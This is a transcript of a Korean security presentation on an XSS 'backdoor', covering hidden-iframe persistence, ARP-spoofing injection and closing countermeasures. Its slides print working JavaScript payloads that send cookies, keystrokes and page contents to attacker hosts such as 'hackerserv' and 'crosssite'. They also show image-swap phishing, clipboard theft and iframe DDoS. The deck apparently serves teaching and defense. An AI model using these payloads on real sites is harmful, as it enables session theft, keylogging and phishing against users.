해킹기법 시연과 대응전략 (xss backdoor) hellsonic.tistory

Post on 23-Feb-2016

229 Views

Category:

Documents

0 Downloads

Preview:

Click to see full reader

DESCRIPTION

해킹기법 시연과 대응전략 (XSS Backdoor) http://hellsonic.tistory.com. OWASP Top 10. 어디서나 쉽게 발견되는 XSS. How Does XSS Work?. JavaScript. How Does XSS Work?. MITM. Request 스니 핑. 변조된 Response. ARP 스푸핑을 이용한 XSS. XSS Backdoor. XSS Backdoor 의 원리. ㉠ . 현재 프레임을 100%,100% 으로 생성 - PowerPoint PPT Presentation

TRANSCRIPT

해킹기법 시연과 대응전략(XSS BACKDOOR)

HTTP: / /HEL LSONIC .T ISTORY.COM

OWASP TOP 10

어디서나 쉽게 발견되는 XSS

HOW DOES XSS WORK?

JavaScript

HOW DOES XSS WORK?

변조된 Response

ARP 스푸핑을 이용한 XSS

Request 스니핑

MITM

XSS BACKDOOR

XSS BACKDOOR 의 원리㉠ . 현재 프레임을 100%,100% 으로 생성 - 실제 보여질 페이지 (main 프레임 )

㉡ . 부모 페이지에서 (hack frame) main 프레임을 제어- hack frame 에서 main frame 조작가능- 사용자가 페이지 이동을 하여도 hack frame 은 유지되고 main frame에서만 페이지 이동 .

- Hack frame 에서는 해커서버의 파일을 지속적으로 열어서 실행 ( 실시간 명령가능 )

XSS Shell

IFRAME 의 특성

Main Window

None Display FrameView Frame

Target Browser

HackFrame

Width:0Height:0

CROSS DOMAIN

http://www.aaa.com http://www.bbb.com

CROSS DOMAIN

http://id.domain.com http://login.domain.com

FRAME 의 생성으로 제어가능

www.aaa.comFrame 1

Frame 2(www.aaa.com)

Frame2 를 Frame1 에서 생성

XSS BACKDOOR - TIME LINE

User Attacker Server

Inject XSS Code

Visit Server

Receive XSS and infected

Request Command Page(Ajax)

Receive Com-mand and excute

setInterval (req(),3000);

XSS BACKDOOR 시연

XSS BACKDOOR 시연HTTP://175.115.221.25/ISEC/

HACK.JS (JQUERY)

var data = ‘HackFrame<script src=http://hackerserv/control.php?cookie='+document.cookie+'></'+'script><script src=http://hackerserv/'+document.cookie+'.js></'+'script>');’;

var str += "<iframe frameborder=0 id=mainframe name=mainframe height='100%' width=80% src=./ style='float:left'></iframe>";str += "<div id=hackfr style='float:left;'>HackFRAME</div>";str += "<script>";str += "function hack(){";str += “ $('#hackfr').html(data)";str += “ setTimeout('hack()',5000);";str += "}";str += “ setTimeout('hack()',50);"str += "<"+"/script>";

$("body",parent.document).html(str);

KEYLOGGER(JQUERY)

$('#mainframe').keydown(function(event){$.get(http://crosssite/xss.php?

data=+event.keyCode,function(){});

})

CHANGE BANNER (JQUERY)

$('#mainframe').contents().find(‘#mainbanner').html(“Hi isec!”);

이미지 변조 피싱 (JQUERY)

모든 이미지의 변조$(“img”).attr(“src”, “http://hack/hacker.jpg”);

PAGE VIEWER(JQUERY)

var code = $('#mainframe').contents().find('html').html();//code 변수에 mainframe 의 코드가 모두 담김

Access Mail Service Frame

CROSS DOMAIN POST 전송

Main Frame

HackFrame

Width:0Height:0

None Display FrameView Frame1. None Display Frame 생성2. FORM(method=post) 생성3. Input 생성 -> 전송 값 삽입4. 전송

CROSS DOMAIN POST 전송function crossDomainPost(hackdata) {

var iframe = document.createElement('iframe');var uniqueString = 'hack2';document.body.appendChild(iframe);iframe.style.display = 'none';iframe.contentWindow.name = uniqueStringvar form = document.createElement('form');form.target = uniqueString;form.action = 'http://crosssite/xss.php?cookie='+document.cookie;form.method = 'POST';var input = document.createElement('input');input.type = 'hidden';input.name = 'data';input.value = hackdata;form.appendChild(input);document.body.appendChild(form);form.submit();document.removeChild(input);document.removeChild(form);document.removeChild(iframe);

}var hackdata = $('#mainframe').contents().find('html').html();crossDomainPost(hackdata);

CLIPBOARD STEAL

//ClipBoard Accessvar cp = "clip board!";window.clipboardData.setData('Text', cp);

CLIPBOARD STEAL

http://code.google.com/p/zeroclipboard/

ZeroClipboard플래시 (swf) 를 이용한 경고없는 Clipboard AccessCross-Browser 지원

DDOS

DDOS(IFRAME)

XSS 대응방안

Server-Side< &lt;

> &gt;

사용자가 입력한 <, > 를 HTML 인코딩 함으로써스크립트 사용을 방지But.. !!

필터링을 할 수 없는 경우 ?

왜 <, > 필터링을 할 수 없는가 ?

100% 대응방안 ?

3 주 만에 총 지급상금 4 만 달러 초과 !

그럼 어떻게 ?1. DTD 선언 ( 웹 표준 준수 )

<a style=“xss:expression(alert(/xss/));”>2. XSS Database 구축 ( 정규식 이용 )

(script -> x-script 치환 등 ..)“script” -> “”* “scrscriptipt” -> “script”

3. 웹 개발자의 보안 인식 강화4. 주기적인 보안 컨설팅 , 취약점 점검5. 서비스 사용자의 보안 인식 강화6. 필요로 하지 않는 사이트는 게시판 에디터 (HTML) 의 사용을 금지7. 중요한 ( 로그인 , 관리자 ) 페이지와 XSS 취약점이 있을수 있는 페이지의 도메인 분리

감사합니다 !

Question ?

korea.hellsonic@gmail.com

top related